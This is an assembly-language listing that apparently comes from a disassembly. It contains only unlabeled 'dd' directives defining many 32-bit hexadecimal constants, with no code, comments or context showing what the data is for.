dd 210C6C24h, 0CA812692h, 6D1C48B9h, 0BDE00F40h, 87C6E6h
dd 9D32D8E8h, 0E1160305h, 6D24FF02h, 0C0040BE9h, 5A069B6Eh
dd 1454205Bh, 33479520h, 4068A450h, 2A4AEF62h, 5C23A42Eh
dd 87EDA200h, 13DBFE39h, 0E0B6BBA6h, 2816F070h, 68E40526h
dd 0CEAA028Fh, 50276BA9h, 0E749860h, 4DF42481h, 0D1D891ADh
dd 72431862h, 96E31369h, 6D0C4804h, 0FA279F00h, 0FA5951B4h
dd 30AE52CEh, 0EA3158E2h, 3CDFBFCh, 0A5E18E6h, 83FA02A4h
dd 0FE0C8875h, 0E470091Ah, 0ED52006Ch, 5E2BDADBh, 0A37CFEA1h
dd 9F0590Eh, 15F340E2h, 1181D66h, 0ECBDE384h, 0E4E76C27h
dd 0F530FE17h, 0B6D4B006h, 0C142A95h, 0E2162538h, 0F051B0C2h
dd 0D5185D71h, 637C18B0h, 4ECC0C80h, 0F85CB08Bh, 8CC0AC50h
dd 82D3AE27h, 7D0FE7C0h, 0BDB9880h, 3809AF69h, 0D121258Ch
dd 670D0324h, 58883ADh, 0AC222B76h, 49AB3A24h, 66009E3Ah
dd 0CC7F30B7h, 50E06D4Ah, 0D182E105h, 3BC3A212h, 2FC6A903h
dd 64428A70h, 0C8B0E0DAh, 0CF51723Ch, 0ECBBFC8Fh, 9A899CA8h
dd 681EC092h, 654776D3h, 41C0C82Ah, 9377F33h, 75A32370h
dd 28E8B48Eh, 2B065700h, 0F80232h, 0D640DB83h, 61101AA7h
dd 4203531Dh, 0DF517481h, 0D072B0EFh, 1E0A1900h, 2DD9C5D5h
dd 8EC22907h, 0F2A14185h, 3770AF27h, 63210106h, 3B13DBB1h
dd 0B4D8580Bh, 0EA34A327h, 53DC04ACh, 0F1EBC064h, 2448BD8Bh
dd 5FC7B0B0h, 299F02C0h, 61199DE8h, 0E83893D5h, 0EEBDA87h
dd 7F31DF7h, 0ADD73CE3h, 0C348CF5h, 0ACCBFE10h, 0E5F1FD02h
dd 0DCDC7F37h, 4C9C71DCh, 30926888h, 0BBA3114Ch, 0D8427300h
dd 0F763B3Ah, 0B4821329h, 9D04427Ah, 88D8E6E0h, 2C675228h
dd 1B3C8573h, 0D4F8001Ch, 0FD56BA1Fh, 8459005Ah, 96384762h
dd 0B35E89B1h, 4D2620D0h, 90A7137Eh, 0D194C23Ah, 7687C0D6h
dd 81490A30h, 50CA75E4h, 0AD22FD0h, 6F166EDAh, 0FD1E07ACh
dd 265A31C3h, 28A46052h, 84F0024Ch, 0D8E48BCEh, 0ABB8054Fh
dd 0E9E959DDh, 0BCD4AD30h, 0AE01354h, 10F0B47Dh, 2D74C548h
dd 0A260C888h, 56C41642h, 80E297h, 1CAE485Eh, 0FA63EB4h
dd 77E0F87Ah, 0D0623343h, 270621C8h, 0E05DAA25h, 5CA413D8h
dd 0DF84846Dh, 69883720h, 605918F1h, 0FC027318h, 9A55BF5Fh
dd 4BF0C166h, 93C286Fh, 2D2C0288h, 2CA10A04h, 28074C89h
dd 9B4108Ch, 13E3C050h, 147758E5h, 0F7119030h, 91EE20BCh
dd 185D71D0h, 6404BD38h, 0CC28014Fh, 718231BBh, 8FD7930h
dd 73688C0h, 9D41180h, 0E3D37E64h, 0B9512C10h, 0C9AAA000h
dd 3D20EB82h, 531025E2h, 70428C6h, 75065C4Eh, 3F209262h
dd 4A4E6Fh, 0AF2BAA74h, 4C3E6B0Fh, 0E8C01F5Ch, 75008CADh
dd 74A72DABh, 54C10F3h, 28D36AFFh, 369402B6h, 0E0D2A98Dh
dd 859EBC91h, 0F5D8F740h, 7E4E2Ah, 68558C3Ch, 6C465812h
dd 0E05D442Eh, 0C0039F0Bh, 16914F14h, 0F25239FEh, 27CC40F4h
dd 3C82C640h, 0E33599D0h, 802CE8E9h, 0FF747AE0h, 56B752Fh
dd 0CA639D07h, 2877C3B6h, 0E14B9C4h, 0F2E2D8A7h, 84814C12h
dd 8215264Bh, 0E52959B0h, 6034E42Ch, 6188A7F0h, 13386122h
dd 0B4167BACh, 6F3488h, 0B3FD1C5Fh, 0D9C380DAh, 0B60A7216h
dd 0AC0A14E2h, 480E9D5h, 0F0E4B422h, 309421D0h, 251E465Eh
dd 0F45407DDh, 0A72700D8h, 0D6D856D7h, 66258227h, 21F15E64h
dd 10A50CCh, 0C02C49ACh, 0DCC07388h, 2BA81FDEh, 8040C4ECh
dd 2DDE546Eh, 2F03B956h, 0B63106CFh, 0D4A0B438h, 7EFE0E4Fh
dd 0E20A847Ah, 0BE38309Ch, 14B2D796h, 90D729ECh, 66C894CEh
dd 0B80BB1C3h, 33C37DCh, 90B6CFDDh, 8017314Ah, 0A88BE957h
dd 30111C84h, 1C3CAEABh, 802679C7h, 0A4A66920h, 74983201h
dd 41822AF4h, 5560D88Ch, 1E7826B4h, 0C28C1350h, 0E845E7CCh
dd 18111CE2h, 7B00AE22h, 0FB97185Dh, 5A4A93EFh, 0E4F8E588h
dd 0AD1C5EECh, 0C480831Fh, 0DDA048BBh, 0B51313F7h, 0E4C050CAh
dd 3A8C16F8h, 268063EEh, 0D74B178Ch, 2C90FE99h, 0B6287420h
dd 61C51258h, 5B0F91D4h, 0CBFCC078h, 0F96E14h, 312CBBD4h
dd 0A595EFAEh, 68370F30h, 9403CC02h, 0B4B295DCh, 0BC6AB427h
dd 0DC487Ch, 0DA2BC66Ch, 0CAD9C4FCh, 0A7863316h, 107F30ADh
dd 1DBF97A6h, 1C2618FAh, 4708FE0Bh, 673264F8h, 0B29BA030h
dd 6EA101C2h, 49BD8EB0h, 0C8D44B4Ch, 58D4C11Bh, 0BC2EC039h
dd 409A6C00h, 905F7BEh, 0B60B79AAh, 0B211009Ch, 87CC2651h
dd 8B02309Ah, 0AF90DFECh, 78905538h, 0ACB6D89Dh, 93BBA680h
dd 97F5C7Ch, 1F2740A7h, 0FD6574A2h, 0C6E49865h, 418DD660h
dd 9F30710Ch, 606360C2h, 38A7A0CEh, 0F0BA2953h, 0E0B62374h
dd 10932176h, 3640BB80h, 0BC91AF52h, 888416E0h, 5D144EECh
dd 89F0D79Bh, 62686D2Bh, 0ACFEB165h, 0A047C683h, 8F4D82Ch
dd 0A8314C6Fh, 10BB810h, 16D7AA26h, 70622982h, 50BB4F10h
dd 28120328h, 6CA16504h, 586E2Fh, 0A7E76CFDh, 7F8C2F97h
dd 0A6AD5AFEh, 0E09D04E8h, 2C098156h, 3F0898F6h, 0A5CA1380h
dd 0E1EEC44Ch, 706AAE26h, 21173310h, 0B2C0F336h, 0FB873060h
dd 6BB71B00h, 0DD65809Eh, 9BAA0914h, 1C40711Ah, 68C43501h
dd 90BD383Bh, 2AFC16E8h, 7F682D00h, 0A5D98C62h, 0FDBD250Ch
dd 38113897h, 0CCD63C80h, 0EF7FC61Ah, 21079E13h, 74D3744Bh
dd 8DC444A4h, 0B8FC6D90h, 53D21D59h, 905D400Fh, 0F9CCBAEAh
dd 0AA32A601h, 1DC39C16h, 88767889h, 46C720EDh, 0A6BBAA31h
dd 9B6C012Eh, 447640h, 4090142Ah, 365F876Ah, 0F48954C0h
dd 0CCA45477h, 332E20A3h, 0D0F69009h, 767C5C69h, 4B399246h
dd 0DD562083h, 268A2C8Fh, 278090DFh, 121E5EE0h, 0A3001674h
dd 3199E214h, 0B0FE20BBh, 6E879000h, 5AB9BCD3h, 3E9306FCh
dd 0D82F019Eh, 8390F20h, 35EF968Ch, 7436805h, 3CE054E4h
dd 0D0481901h, 0F000D04Bh, 151FE183h, 7A475E37h, 189924A3h
dd 9AD0E708h, 0F403F68h, 50C7F245h, 4D6191E4h, 143966h
dd 69C0E0ADh, 0EC1B4F31h, 0E4881F7Ah, 40700506h, 0A0DC1FC8h
dd 8481C174h, 4AC1F60h, 0CC0C0EE7h, 2B80A007h, 0FD6089Eh
dd 0ABF79D15h, 0AFCA0CFFh, 0D42F28D9h, 8E3087C7h, 88218280h
dd 0F940B973h, 1E31820h, 12FB012Ah, 2E389F9Ch, 0BD38C07h
dd 0BA42458h, 2848AFB7h, 57826C48h, 6CF4B08Fh, 78CF1062h
dd 20F7F482h, 5800B807h, 1F904E54h, 4721C5AEh, 3B3DB411h
dd 0AC3F2884h, 4395F820h, 1A021D10h, 80233542h, 3CA0559Bh
dd 0DAFD2879h, 0C7E2DC00h
dd 3070D49Ch, 4D7F4ACCh, 0DCB0F5BCh, 0DA4A9BADh, 7F80B1h
dd 40B756C8h, 1E5E4CF6h, 56CB989Bh, 0B0480885h, 90279BC4h
dd 0D940428Eh, 3AD58E34h, 690EB382h, 46767874h, 3B9900ADh
dd 16C994FFh, 5EA87EF8h, 1F44E2EEh, 38A1D5h, 0BE43B524h
dd 0F23776h, 0BDF91F95h, 111E9DDEh, 3A6711Dh, 832EEDC2h
dd 0BE406060h, 9C0C8074h, 81C16A07h, 92C04122h, 0A1DA5h
dd 0E912BFC6h, 0BECC68C8h, 389A7807h, 80FBEDB1h, 39520B68h
dd 0BD830132h, 54A444DAh, 78887B4Ch, 7CD01E82h, 1418676Fh
dd 11167EC5h, 248016D8h, 5ACBB3ACh, 0F4F49154h, 0D03800A1h
dd 3013F09Ah, 0E8111E40h, 8225C287h, 2E07925h, 5E0EA3ACh
dd 178DB4DCh, 0ABF02092h, 180C60FEh, 8CF44955h, 0CB6104Bh
dd 19E685E0h, 0B143DB00h, 2FCC0824h, 3CFCBA12h, 0F3130144h
dd 1A84881Ch, 94E9088h, 0CB27608h, 0AE04E820h, 119FABF3h
dd 0F909078Ch, 0AC74CA8Ah, 0A65E48C0h, 29A30178h, 4F85BD58h
dd 169207C4h, 3023101Eh, 62F79A80h, 99D720D9h, 5345987Eh
dd 95969843h, 4005E5C7h, 5C4D6599h, 544E814Ah, 0E1C03288h
dd 2EFA2B96h, 133FFAEh, 954EA40Bh, 0EC3A3A83h, 880B6123h
dd 0EFC9809Ch, 24523953h, 40DC38B6h, 0E569BACh, 2E8C22BFh
dd 17140A8Ah, 9778805Fh, 0C54A5D39h, 1D00B8F2h, 310375B3h
dd 6003D4B0h, 180964DDh, 0C534C026h, 7E4B1278h, 0B8CCA9FDh
dd 30B12253h, 0A2923700h, 0FA0879D9h, 0B3360B1Bh, 14515E06h
dd 2F18ABD9h, 0CB93A117h, 0ECD3C100h, 0E68BFDF6h, 902892B3h
dd 320B2080h, 0A52FC590h, 60707A57h, 0FD27C90Dh, 0A380C77h
dd 0EA7913E2h, 9B9D8007h, 384E7C40h, 0B830487Bh, 0CC840980h
dd 0A120DC6h, 90E193FFh, 99BC482Ch, 14001043h, 0DBBED79Ch
dd 3A042F0Ch, 3CB87EAh, 9F32D8D7h, 240C86Fh, 664420D4h
dd 0C1DD1609h, 6A084DFDh, 0E0130062h, 75363E63h, 2D204F48h
dd 0E0140E37h, 2CCB95B8h, 8D201773h, 0D278D209h, 0E712C87Ch
dd 93B84CA8h, 8D091043h, 2800D3CCh, 0AA670F71h, 70E50326h
dd 258B2186h, 0B9287069h, 8E253ED8h, 78B45468h, 169C0F58h
dd 289125D3h, 41012384h, 0B6204032h, 391D8DF9h, 891D2180h
dd 0F8C4B720h, 0F9076D78h, 13C71AE8h, 75BF1F20h, 0CF5F0718h
dd 0B625CD4Eh, 9AEA70B9h, 39EBAD31h, 202033AEh, 0F85E513Dh
dd 92A2DC33h, 3D2730h, 0CFAE8C0h, 2806AEE6h, 0A120A8E3h
dd 0E731F9C0h, 2F1358h, 8B100DF2h, 639EF3ACh, 0D5B1EB07h
dd 4E6425EDh, 52E000BBh, 4F150DA8h, 0D25EE0F2h, 0C05CE881h
dd 802454FEh, 4D9FBB12h, 0E50064A5h, 6CA7AEBCh, 2D05C10Ah
dd 8CA9D7CCh, 175D9401h, 16C8286Eh, 5CA429ACh, 3BAE43Ah
dd 1375C736h, 0D9587FFBh, 15201040h, 1C663E17h, 14745094h
dd 8090B19Ah, 0CA5386FDh, 0E00F52B8h, 2720EC17h, 6E1148E8h
dd 9CD2AC01h, 3D2C1EE0h, 0C84B1214h, 44A924C4h, 0E39AF100h
dd 6DD384E8h, 0CB45270Bh, 54AC8A08h, 38914676h, 62DD00E0h
dd 0DE533AFCh, 9FC89E80h, 0D0EA04h, 68FE3B02h, 3EE2409Ah
dd 24D1A0CAh, 54DD9500h, 0A0AF2Bh, 0BB49DB0Ah, 83D6E104h
dd 755D0200h, 0FE512F9Bh, 5E340B7Eh, 0A0728859h, 0AF9E8C13h
dd 8208DC88h, 0C8F30DCh, 6822F2ACh, 267C2394h, 0CDB54FC8h
dd 0DC00487Fh, 0F864EA9Dh, 272DE8Ah, 60C4BCE9h, 287E9754h
dd 0D8063BD6h, 5FE06083h, 814CB89Ah, 0A9D912A0h, 89376888h
dd 2079E9B3h, 0F45AA46Bh, 0EAD4E402h, 0E49845E2h, 15BE6097h
dd 76C300BDh, 4FD2346Ah, 0AC256B08h, 9640EF1h, 27B86406h
dd 0B89D3252h, 42806691h, 0F57C6806h, 8852B401h, 7D1AE027h
dd 0A00B8C34h, 286EE2A9h, 4FCC0CDEh, 88C88F66h, 0FF22C0C6h
dd 9B122FCEh, 10884984h, 1C690CFDh, 2811DFC8h, 6023D42Ch
dd 73AE8C82h, 0A402004Eh, 0B49682A0h, 4624676h, 7E36DB59h
dd 88F46880h, 0CBA94E11h, 0C01BC888h, 8F40F9B9h, 0F483D703h
dd 0F339219h, 0A55DAC21h, 0DC5143C9h, 0AF46A308h, 521C404h
dd 1CC8884Dh, 0A74E00BCh, 396C61FFh, 9E00559Dh, 0D69C783Dh
dd 1A160Eh, 91017119h, 0E0B6212Dh, 0D48CE628h, 0B5E36905h
dd 70D85B9Bh, 306CB0C8h, 0D6087DC3h, 0D81F49F3h, 8C0BC0C9h
dd 0A7E0F4A9h, 0EEFBB890h, 0E86C8900h, 6353A783h, 0B71BE2B0h
dd 738FD0E0h, 0A8C9342Eh, 0B8526A02h, 564E638h, 9CF829E6h
dd 2338D997h, 308EA248h, 0EB024DFCh, 9CD0361Dh, 809CC0D4h
dd 0C8B09769h, 3200BB64h, 0B31BCF5Bh, 25302DA9h, 1440B014h
dd 0AA1A20EDh, 2A1C413h, 104C25C8h, 315CBCA4h, 26A78584h
dd 8A5B6CCAh, 0C798C890h, 42570069h, 9D70C1E9h, 5C133828h
dd 7B40A713h, 0ECC8C4C4h, 0B7CE74ADh, 8E91489Dh, 9802BE81h
dd 38206ACEh, 13852C8h, 604B039Dh, 0EEE9E58Ch, 66708482h
dd 862F5B10h, 42FC145h, 0F01BD244h, 0F91D46BCh, 58BACC81h
dd 72658B7Ch, 0CBC600F8h, 3F41B029h, 47005E71h, 0E6DB5F23h
dd 123017DEh, 0A934FCA4h, 1EAC10E8h, 189C080Bh, 0B8238CFEh
dd 1E82FD00h, 5932B336h, 0DBC07863h, 77A3D014h, 377FE204h
dd 0A4E638E3h, 0A0DCA64Ah, 29C915h, 0DF1E4480h, 6FD40651h
dd 8A0DC9Ah, 2418654Eh, 2F950C8h, 0C1347DB4h, 8262A20h
dd 2151971Dh, 2884C8FCh, 408CED01h, 9222D3B4h, 80A32225h
dd 0B7512902h, 4252B562h, 0B818FDC4h, 0CE9DBD43h, 0ACD0040Ch
dd 1E6A4E9Bh, 0B4481A80h, 0BFDD15D4h, 4DE6488h, 0AAAC629Fh
dd 2E111888h, 93242338h, 0AC5CB94Bh, 2E7B075Fh, 60117CE8h
dd 57F670FCh, 0A0E71A5Eh, 0A2FA2700h, 0DEE20A0Dh, 0D197B525h
dd 90A784E4h, 26E4FC86h, 0DC4BF801h, 40D103Ch, 5BBCF68Ch
dd 3FCC051Fh, 0C85CFC10h, 130597BDh, 8820CF74h, 8C55C191h
dd 40212A90h, 982D9FAEh, 81AFD408h, 40944C28h, 137BB281h
dd 483CEDDEh, 79183AD3h, 0A5B0028Ch, 0AA9AA438h, 9F6298D6h
dd 80BC74C9h, 0E970B09Ch, 8F7DCB34h, 8C4F0779h, 0A3262800h
dd 94D350h, 3B034F5Bh, 8B9FA7B1h, 734FDD7Ch, 0BA44E477h
dd 719E2121h, 0A2E438A6h, 0BC017FF1h, 15347906h, 9410C4BCh
dd 0EABE0231h, 90FB8h, 129491Dh, 117423F3h, 0F1258CEBh
dd 571BE082h, 383294FBh, 13BCD6BFh, 2BCE9EEh, 0F68E27F1h
dd 7F0048C4h, 3B0F5A93h, 2FA43B04h, 3328C04Bh, 16B905F4h
dd 0C8346F8Ch, 83411C18h, 0E26C822Fh, 0B3611CD1h, 0F01154CFh
dd 104D252h, 74BF7CC8h, 80CC161Bh, 0D93C9FE9h, 0FAAFF0h
dd 0B39A947Dh, 0F936BB27h, 305A3E7Ch, 0BCFC1614h, 0B6BA90A8h
dd 0DAD827h, 21B94FCCh, 20FC9057h, 0BD250B8Ch, 70407BD3h
dd 490216FBh, 0B6F26355h, 0D9F4C07Fh, 5E8B006Fh, 60547D08h
dd 16757351h, 0CDD08760h, 0D2507Ah, 78113DB1h, 15E8313Ah
dd 6E7D20C0h, 399DCF84h, 0BF03B162h, 61464316h, 0E651F5A0h
dd 18C40A49h, 0B42D34B6h, 820F3E76h, 511E5901h, 3069445Ah
dd 0F700F304h, 7D6F015h, 58C6582Ah, 0DD0510E5h, 0F94ED8A8h
dd 200313B0h, 99EF3C40h, 0A0905DFFh, 0BD002E7h, 1F162DABh
dd 40570056h, 724BF4Bh, 876E731h, 0FA01AE69h, 0C59F0188h
dd 4112F001h, 8C35F7F8h, 21B30AE8h, 8343805Fh, 0B81A08CFh
dd 0C4C13428h, 40C5310h, 0E506ACE9h, 0EC2008D5h, 807EFE8Ch
dd 0CC806042h, 0AB33806Dh, 1017F383h, 18CFEC40h, 2D801D6Ch
dd 3518C406h, 9C340699h
dd 21EF6208h, 0E80E0897h, 12C0C85h, 9440E410h, 283063FDh
dd 5977BDBAh, 0CCC7B880h, 22C96310h, 66182D62h, 6F610395h
dd 23C70818h, 0C62C8018h, 18A95A08h, 1DF6A01Fh, 8318A08h
dd 2215CA0Bh, 874A10A8h, 202EF918h, 548097A0h, 360280A5h
dd 18D403F9h, 8745C10h, 58C6FE11h, 3110845Fh, 5108C9F5h
dd 18150378h, 28FA3841h, 48CC20AAh, 653C1908h, 4ABD1028h
dd 8CB85588h, 4718382Ah, 4071BA68h, 0C4085A18h, 51148132h
dd 9E16E3B8h, 5460A910h, 627DFC1Ah, 0A0B80892h, 589DA02h
dd 34CC46FBh, 0F089798Ah, 57C188A0h, 0F0A41570h, 0C0FB6818h
dd 51C87DBCh, 0B2E508CDh, 801F4C0Ch, 108CE3A8h, 77087AD0h
dd 8949BB6Ch, 0A01362E6h, 0F0026AD5h, 0ACBD0279h, 0A45F2D05h
dd 1886C64h, 5630C39h, 7092F810h, 3B91EB62h, 46F705D0h
dd 10A48488h, 1868C649h, 0DF182683h, 2908CC37h, 0E6FF0A9h
dd 157F6850h, 0F918E8B6h, 0BCBF0882h, 918CA581h, 0CA08B7E5h
dd 2D59A164h, 95D1904h, 593425CEh, 6FCBE844h, 0A8CB104h
dd 0EC8C980Ch, 64DBB8FDh, 4CB69D8h, 1F04C7C5h, 88920AC1h
dd 8D37188h, 170C01C8h, 0A88610D1h, 807BE4E8h, 78CC3350h
dd 63CBA12Ah, 19EE3004h, 88650824h, 1EBD3788h, 410871EDh
dd 0D9A8019Bh, 897CA003h, 7549B492h, 0FC6A2A8Ch, 2AAAA720h
dd 40C80B10h, 0F640E394h, 7B78407Ah, 0E6264C92h, 71B74072h
dd 0D50696C4h, 5C44903Ch, 30BB40F2h, 40788540h, 0BA668A73h
dd 20305CB1h, 2C206142h, 0A58C20B4h, 0B9F6320h, 0B10B9B59h
dd 0FE589468h, 5430790Bh, 0EE980080h, 5C87E1FFh, 0C60080BBh
dd 3942970h, 0A70491CCh, 48B805D2h, 810C4D7h, 39A4132h
dd 0E7826AC9h, 0FFF54077h, 0E6B0847h, 0E4E9B7D4h, 42007C4Ch
dd 815A3F8Dh, 0F57411F4h, 0AC75D506h, 0E090E04Dh, 92870FEFh
dd 0BE008002h, 0BDC0217Dh, 0C22A0D24h, 0D5DDCA00h, 3CE13908h
dd 0D2277309h, 92A08078h, 239DF66Dh, 0C64268ACh, 4DA500E8h
dd 0E7CA4E2Eh, 1B3B2DC4h, 0BB6F18D2h, 271D0828h, 3848496Dh
dd 46006E58h, 966AE79Ah, 707961B1h, 11F60303h, 4AB2CA9Eh
dd 70022837h, 0ECFDC474h, 7E0A870Ah, 0F95900ACh, 2DF86124h
dd 6D652800h, 0DB65529h, 0E3682715h, 0FB0F84C0h, 36BAB200h
dd 0F198CD79h, 211D0491h, 0AB42ABEDh, 305A14C0h, 826D3F35h
dd 20BEC419h, 68B040B6h, 3303140Ch, 4BAC3B7Dh, 0A300212h
dd 0B5F216CEh, 5D27C0E0h, 0F60E53Ah, 0B0370FBh, 0A5278380h
dd 120754Bh, 8C612117h, 39CB4ED1h, 0C904051Ch, 78F424D6h
dd 982D6992h, 8004A0CBh, 0EBAC7E6Eh, 795DDCB0h, 901B6066h
dd 21271602h, 2DB59E02h, 855A9968h, 0E41F55C4h, 323DC5D0h
dd 7DC9CD0h, 38BE5090h, 9286DF74h, 6E001805h, 0FFDD01F4h
dd 4FBB15h, 0DB041EA4h, 0F8439059h, 800A0F90h, 0C8242CCAh
dd 53F0E4A0h, 17524640h, 0D02E4E90h, 9223C108h, 83C81560h
dd 652FC42h, 26E508F9h, 8718B836h, 273076B0h, 2B662F60h
dd 4D8F2882h, 0B0CA2481h, 5960839Bh, 0F00D65A8h, 2FB4AA41h
dd 842236Ch, 21A79961h, 0D880E260h, 0EF0D7590h, 1967490Fh
dd 7633E055h, 601B3923h, 210539B2h, 0D50A316Fh, 0A81E7547h
dd 8088E10Dh, 80DC9041h, 0F072B901h, 5702CB78h, 67FEB391h
dd 8FBCA030h, 1FD9BBAh, 65F02486h, 20D08422h, 0C1EFB361h
dd 161C2979h, 0B0E083ACh, 0F0750232h, 0A984C98Dh, 0D8405043h
dd 5295BBD4h, 20F0250h, 6D4D0458h, 0CDC5BB61h, 7CB02B1Dh
dd 31317884h, 11F87D74h, 44608015h, 0AB8F7ACCh, 0F77B0082h
dd 0EDCA3346h, 0F1F4FB52h, 803BA07Fh, 538612F5h, 514F2000h
dd 0C6830C88h, 502DBE40h, 61920h, 8169418h, 0E96653F0h
dd 118CF150h, 8858A8C2h, 1285864h, 6B3C684h, 0E567D662h
dd 8288659h, 4820770Bh, 730F008Ch, 7BC0FB3Fh, 0F171AACCh
dd 0EC028375h, 67D21133h, 0B0F0D5h, 0F26192D8h, 9F3644Bh
dd 5E6D2507h, 0EE148406h, 62DE34CCh, 44346957h, 8806FC28h
dd 2102B15h, 8EAF3342h, 0E45EEDACh, 9062B209h, 2F5DA91Ch
dd 0CC80590Dh, 5BC549B5h, 4E0F7E00h, 76CC525Ah, 384A012Dh
dd 2267D702h, 9DF84227h, 0F0F5046Bh, 400573DCh, 82258902h
dd 2B0B715h, 0B00CE1FAh, 0D6DC833Ch, 0F8802820h, 7AE060h
dd 0ED7B2BF1h, 0E2FF3703h, 2911F061h, 5445BEB0h, 8830E049h
dd 1687FCC4h, 98F2210Fh, 337C9123h, 84BC802Ah, 8E0253F3h
dd 0F967C119h, 2948470h, 9F059488h, 7F16E402h, 0B48E1862h
dd 4490E109h, 98F30931h, 0AC0AAB0h, 252404BEh, 0E26EACh
dd 84700662h, 44C8A6F2h, 0D090A7C8h, 0CE01B207h, 9BC31FE7h
dd 4310F05Ch, 68BD1C60h, 722AC124h, 0ABEEFFACh, 24B9E440h
dd 0C8802C16h, 4DFAEDD4h, 9610B0DDh, 56328F10h, 8275BD85h
dd 0C88AC554h, 0C7803118h, 0A666FCAFh, 24DE4Dh, 1EF5B9B0h
dd 4155CAC8h, 6ACFC0C6h, 67466500h, 9057EB6Ch, 4CF301B3h
dd 2ECA6668h, 4DDC2001h, 0CFA9A83Bh, 0D0FA8040h, 6061CA0Ch
dd 75124922h, 17007B8Ah, 0A8D64404h, 0A1E5CA0h, 19E8AC89h
dd 0C53484A4h, 0E068C93Fh, 6B04F16Fh, 0E58857E7h, 0AC5C80AEh
dd 0ACB07908h, 0FFA84A00h, 12DD5275h, 0D06F0097h, 0F7FA5481h
dd 61077E1Fh, 6980E7FEh, 40CCBE90h, 449E00D7h, 821EC413h
dd 1612CB0Ah, 800929Ah, 8853EC04h, 8BEE4h, 7211E02h, 301CB84h
dd 67ED4D9Ah, 0A7031595h, 7CFA14A8h, 0A4B90D69h, 0C8D4902Ch
dd 40F2D829h, 1E727E50h, 7584AB7h, 175330FEh, 6A06722Ch
dd 0D521D0C1h, 9EDE3022h, 0B2245250h, 0D1C8C548h, 0F9407EE4h
dd 30AF00CFh, 0B20E7AC0h, 3F390BC3h, 0ABA803C7h, 90CA5456h
dd 0C05E7D50h, 0EDC439C8h, 6C266813h, 8F164C42h, 0CA698419h
dd 4D019DDDh, 32F82090h, 7FECC607h, 20E92F68h, 8874BA14h
dd 98C460ACh, 351F716Bh, 0B352C80Ah, 901E086Dh, 59297519h
dd 0CE5E470h, 63CAA1A4h, 6D3853C8h, 2CA05458h, 0CE8CC504h
dd 0B088E3FFh, 3E64988Eh, 0D8C91887h, 62A4EF24h, 0C4813534h
dd 0FAAD4EA8h, 61C1E98Eh, 76741116h, 0AC8B260Ch, 80B1E60Bh
dd 27ACA778h, 738904Ch, 96638F7Eh, 15E95159h, 9E04A2Fh
dd 19BE25C5h, 34602AA0h, 0AC662655h, 1EA79318h, 492DDE90h
dd 4C0072D4h, 0B3CF5165h, 16D1A906h, 0B0C0C036h, 0FEEA0BBCh
dd 0F880773Eh, 0B03A7237h, 0DD4CAC77h, 6FE080BCh, 30882563h
dd 1738C2ECh, 61128FF9h, 16FA2630h, 0FC5C04F0h, 623C0E5Eh
dd 5E112B24h, 484C6A0Ch, 0BAAC058Ch, 0F28880A1h, 0DBF02767h
dd 28B81D49h, 0FD04CF94h, 54D38814h, 3F89B080h, 50C4B879h
dd 2A8472h, 6D337460h, 0A287FE5Ah, 127C3700h, 5B91F084h
dd 7EBA0585h, 3C883E1h, 0EA746608h, 77CBA000h, 0ABF0484Bh
dd 11522076h, 2CBBCD00h, 53065951h, 0C8D730CAh, 0AC6AFE18h
dd 0C8FB5B30h, 9AC48184h, 8C6F04E4h, 89DEFFD3h, 4CE02110h
dd 26404108h, 430300F1h, 2DAB9ED6h, 0D8A134FEh, 0AAA0CB06h
dd 4A04785Eh, 7D54687h, 0F4816087h, 1B7F776Ch, 5E98583Bh
dd 850028E7h, 83E9E845h, 7A6B840h, 80CE5C41h, 0FFC8B384h
dd 88C02888h, 585804B5h, 957C121Ch, 0AFC494Ch, 9D4CF8D0h
dd 0E4507018h, 38901A60h, 35746C98h, 0F4202090h, 665F0B77h
dd 24A05D2Ch, 99C1582h, 2E21C39h, 0A6CAE5C5h, 0FFBC6026h
dd 59800087h
dd 0E2045217h, 0C46E9167h, 0AA27E138h, 55DC027Ah, 8C032E47h
dd 438445Ch, 1087A61Fh, 0B06660A0h, 3F09255h, 13575648h
dd 0EAE0A82Fh, 0B50FC783h, 5B84372h, 0B41E3121h, 0DCF8C0Bh
dd 0D05CD1C8h, 0BC5450FEh, 8A6230E7h, 6BB18758h, 0F07428C5h
dd 0FC0858D4h, 91580023h, 7E80C943h, 26CB893Fh, 0FA14409Ch
dd 0C2370098h, 2D74B38Fh, 0B11FF6E1h, 884A02C8h, 9440C367h
dd 5B1EFA1Eh, 40DFEE38h, 0E0A8A61Bh, 60D8C81Bh, 0CC5468AEh
dd 8E84BEAh, 0D30014B0h, 8663E778h, 0A02715DBh, 0B082C02Ch
dd 72ECFACFh, 0D035260Ch, 33EBEB4h, 3A16730Fh, 0ACBF9821h
dd 0BC14AACAh, 67A4B0C1h, 1033DBE6h, 95E36804h, 4EB8CA38h
dd 4A39D480h, 0CB4C0BD3h, 20EA7818h, 923B845Eh, 0CC0FBAF5h
dd 0A921298Ch, 2B490CCh, 636D0435h, 0B78F2966h, 230D0008h
dd 0F7CAB911h, 4CCCA90Fh, 24589429h, 0FA29785h, 0D31292A0h
dd 581F08A0h, 54506662h, 0E43D600Eh, 3FFB0112h, 345B175Ch
dd 0C800896Ch, 5D01A8DFh, 0A408F6B4h, 0E598D7F0h, 57887018h
dd 0D04B1C90h, 0B5ACE830h, 98489A0Fh, 378E7204h, 788A784h
dd 40984A24h, 95885056h, 4878BB6Ch, 1FE143FFh, 16208DE2h
dd 32439F5Ah, 6853BAA0h, 216D6804h, 8C751080h, 0DDFF24D4h
dd 20F46464h, 94766068h, 0C94F1FA0h, 0FCD85690h, 0A9038516h
dd 84FE9400h, 0F8210828h, 7934F669h, 0B68F0E63h, 5F20FD62h
dd 43ED5DAAh, 81D124h, 0A97810CBh, 1A137F38h, 78C2B2CAh
dd 55E400D7h, 1C3719E5h, 8208DEEAh, 0FB3B664Fh, 89B62441h
dd 0B00751C8h, 69884E84h, 0A894F9E0h, 36FA06B0h, 887AB892h
dd 4080C43Eh, 0FD915029h, 32DD03FDh, 0AC75CA33h, 2810FEA9h
dd 0C28C0C8h, 942CAE2Ah, 0C05A5B0h, 5BE88076h, 2835884Fh
dd 0BC0458A5h, 0A90C5C11h, 784CCF50h, 67F50670h, 298025Ah
dd 5FF2CC5Eh, 49E08424h, 0C116A237h, 0D007F72Fh, 0EDC57821h
dd 0F3084004h, 0D4DC00C4h, 624527CAh, 0A0409892h, 2480EB4Ah
dd 74AC5867h, 4F092442h, 0C30A3A8h, 696AE487h, 0D84C4050h
dd 17BC2468h, 10C71814h, 18265155h, 1D008394h, 0ED78399h
dd 0C82907E5h, 0D0B806B1h, 10DC0C9Dh, 4F5A4409h, 0CA2C18D9h
